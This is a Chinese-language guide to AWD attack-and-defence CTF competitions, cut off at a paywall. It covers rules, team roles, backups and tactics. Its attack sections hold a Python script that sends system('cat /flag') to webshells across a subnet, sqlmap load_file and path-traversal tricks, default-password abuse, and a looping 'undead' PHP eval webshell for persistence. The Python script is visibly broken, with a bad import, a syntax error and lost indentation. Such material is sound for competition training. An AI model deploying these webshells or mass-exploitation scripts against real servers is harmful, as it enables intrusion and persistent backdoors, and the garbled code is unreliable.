一、AWD介绍
AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。
- 1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
- 2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(较少提供);
- 3.flag在主办方的设定下每隔一定时间刷新一轮;
- 4.各队一般都有一个初始分数;
- 5.flag一旦被其他队伍拿走,该队扣除一定积分;
- 6.得到flag的队伍加分;
- 7.一般每个队伍会给一个低权限用户,非root权限;
- 8.主办方会对每个队伍的服务进行check,服务器宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。
二、比赛分工
- 线下赛一般3人,2人攻1人守,在此情况下攻击比防守得分来的快;
- 也可一人维护一台靶机,同时进行攻防。
比赛靶机一般都在同一个B段,可提前扫描目标网段中存活靶机,方便实施攻击。
如使用 御剑高速TCP全端口扫描工具、httpscan,只需要扫描 80 端口就行(一般web为80端口,特殊情况自行设置)。
三、套路
1、备份
比赛开始第一时间备份,备份网站目录及数据库,一般在 /var/www/html 目录。
一是为了dump下来,用D盾查杀存在的后门;
二是为了比赛出现异常或恶意破坏进行还原,避免靶机宕机被扣分;
三要审计下有没有高危命令执行函数,进行后期加固,以及有空余时间或专门安排一个人审计下基础漏洞用来做攻击。
命令执行函数exec()、passthru()、system()、shell_exec()、popen()等;代码执行函数:eval()、assert()、preg_repace()、uasort()等;文件包含函数include()、require()等,用正则匹配grep -r "@eval" /www/,找到后注释掉。
2、弱口令
大多数情况下,所有队伍的Web后台、phpmyadmin等服务的管理密码都一样,立马快速检查修改自己密码,并利用此进行攻击。一般默认密码为 admin/admin, admin/123456, test/test,如果被其他队伍改了那就gg了。
3、后门
如上所说,对备份web目录进行后门查杀。

查杀到后门文件后,查看后门路径及密码,直接通过菜刀连接。
脚本获取webshell并快速提交
为了速度,可以通过脚本进行批量获取webshell,脚本快速提交,代码如下:
#!/usr/bin/env python
#coding=utf-8
import request
url="http://192.168.71."
url1=""
path="/upload/index.php"
passwd="test"
port="80"
payload={passwd: 'system(\'cat /flag\');'}
f=open("webshell_list.txt", "w")
f1=open("flag_list.txt". "w")
for i in [1, 3, 5, 7, 9, 11, 13, 15]:
url1=url+str(i)+":"+port+path
try:
res=request.post(url1, payload, timeout=2)
if res.status_code == request.codes.ok:
print url1+" connect shell success, flag is "+res.text
print >> f1, url1+" connect shell success, flag is "+res.text
print >> f, url1+", "+passwd
else:
print "shell not find."
except:
print url1+" connect shell fail"
f.close()
f1.close()
配置其他队伍地址、shell路径和密码,就可以进行攻击,flag记录在 flag_list.txt文件中。
4、监测攻击payload
tail -f *.log,看日志,不言而喻,抓他们的payload并利用。
5、漏洞
常见的漏洞包括SQL注入、文件包含、文件上传、命令执行等。
(1)sql注入漏洞
比赛一般没有防护(除非选手安装了防御脚本),可直接通过 --sql-shell 执行 select load_file(‘/flag’); 得到flag,也可以利用 into outfile 写木马维持权限。
(2)本地文件包含或目录遍历
直接通过 ../../../../../flag 获取。
6、权限维持
(1)不死马
直接linux执行:
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
或
bs1.php
访问后同目录持续生成 .test.php 文件
<?php
set_time_limit(0);
//程序执行时

最低0.47元/天 解锁文章
1855

被折叠的 条评论
为什么被折叠?



